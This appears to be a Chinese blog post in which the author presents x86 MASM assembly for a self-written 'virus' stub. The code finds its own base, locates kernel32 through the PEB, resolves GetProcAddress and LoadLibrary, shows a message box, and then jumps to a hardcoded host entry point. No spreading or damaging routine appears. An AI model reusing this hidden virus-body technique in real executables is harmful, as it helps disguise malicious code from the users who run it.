自己写的小病毒

最新推荐文章于 2024-08-02 00:56:41 发布

aspbasicer

最新推荐文章于 2024-08-02 00:56:41 发布

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分类专栏：汇编文章标签：汇编 user include byte c

本文链接：https://blog.youkuaiyun.com/aspbasicer/article/details/291846

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前年写的病毒,当时中了劳拉病毒,然后我照的它写了一个,参考了好多资料,主要是386汇编和PE文件结构的资料,个人感觉汇编什么的不是很难,当时我还不太熟悉宏汇编,不然可以有更简洁的代码
.486
      .model flat, stdcall
      option casemap :none
include /MASM32/INCLUDE/windows.inc
.code
start:
  call pstart
pstart:
  pop ebx       ;mov ebx,dword ptr [esp]
  sub ebx,offset pstart   ;//ebx为重定位信息，现在应该是0
  push ebp      ;//保存程序开始时的EBP
  mov ebp,esp
  sub esp,80h     ;//根据变量改变40h
  mov dword ptr [ebp-4],ebx  ;//保存到Pbase
;///getKernelBase///
  mov eax, ss:[30h]
  test eax,eax
  js loc1
  mov eax, dword ptr [eax + 0Ch]
  mov esi, dword ptr [eax + 1Ch]
  lodsd
  mov eax, dword ptr [eax+8]
  jmp loc2
loc1:
  mov eax,dword ptr [eax+34h]
  mov eax,dword ptr [eax+0B8h]
loc2:
  mov dword ptr [ebp-10h],eax
  push ebp      ;//保存变量表指针EBP
  mov ebp,eax        ;//ebp=Kbase
;///Get GetProcAddress's EnterPoint//
  mov eax,dword ptr [ebp+3Ch]
  mov edx,dword ptr [ebp+eax+120]
  add edx,ebp
  mov ecx,dword ptr [edx+24] ;//number
  mov ebx,dword ptr [edx+28] ;// at=esp+4
  push dword ptr [edx+32] ;//npt=esp
;
   mov edi,esp
            sub edi,10h
  mov dword ptr [edi],50746547h
  mov dword ptr [edi+4],41636f72h       ; 要改
  mov dword ptr [edi+8],65726464h
  mov dword ptr [edi+0Ch],00007373h
;
findstart:
  dec ecx
  xor edx,edx
  mov esi,dword ptr [esp]
  add esi,ebp
  mov esi,dword ptr [esi]
  add esi,ebp
cmpbyte:
  lodsb
  cmp al,byte ptr [edi+edx]
  jne notsame
  cmp edx,14
  je find
  inc edx
  loop cmpbyte
  jmp cantfind
notsame:
  add dword ptr [esp],4
  add ebx,4
  jmp findstart
cantfind:
  xor eax,eax
  jmp findend
find:
  add ebx,ebp
  mov eax,dword ptr[ebx]
  add eax,ebp
findend:
  add esp,4
  pop ebp       ;//pop出变量表指针
  mov dword ptr [ebp-0Ch],eax  ;//保存GetProcAddress的函数入口点
;/
  mov ebx,dword ptr [ebp-4]
  mov edx,offset LoadLibrary    ;//LoadLibrary
  add edx,ebx
  push edx
  push dword ptr [ebp-10h]
  call dword ptr [ebp-0Ch]    ;//获得LoadLibrary的地址
  mov dword ptr [ebp-14h],eax

  mov edx,offset USER32     ;//user32.dll
  add edx,ebx
  push edx
  call eax        ;//调用LoadLibrary

mov edx,offset messagebox ;//user32.dll
add edx,ebx

  push edx
  push eax
  call dword ptr [ebp-0Ch]   ;//获得MessageBoxA的地址

  push 0
  push edx
  push edx
  push 0
  call eax

  nop
  nop

;//
  add esp,80h     ;//根据变量改变40h
  pop ebp
  jmp pend
;
LoadLibrary:
            db "LoadLibraryA",0
USER32:
            db "user32.dll",0
messagebox:
  db "MessageBoxA",0
pend:
  mov eax,0041c560h   ;//转到正常的程序入口点
  jmp eax
  nop
  nop
  nop
  nop
  nop
  nop
  nop

end start